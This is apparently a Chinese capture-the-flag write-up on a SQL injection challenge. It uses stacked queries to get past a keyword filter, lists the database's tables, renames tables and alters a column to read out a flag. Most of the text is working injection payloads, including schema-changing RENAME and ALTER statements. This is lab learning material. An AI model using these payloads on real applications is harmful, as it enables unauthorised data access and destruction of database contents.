1'

所以是单引号闭合
1' or 1#

查出了表中的全部数据
1' order by 3#

所以字段数为2
1' union select 1,2#

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了很多关键字,所以不可以用union注入了。同样报错注入也是用不了的,因为报错注入的语句和union注入的语句相同。
使用堆叠注入
1';show databases;#

1';show tables;#

1';show columns from `1919810931114514`;#
我们查看数字表,反单引号(`)是数据库、表、索引、列和别名用的引用符,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。

1';show columns from words;#

看到words表中的字段,我们发现底层的sql语句就是直接查询的words表
select * from words where id=$inject limit 0,1;
但是我们现在的flag在数字表中,并且过滤了很多关键字,我们无法直接查询数字表
我们通过rename或alter,就是把words表改成words1或者其他名字,然后把数字表名改成words,然后在把新的words里面的flag字段名称修改成id
1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
1' or 1#
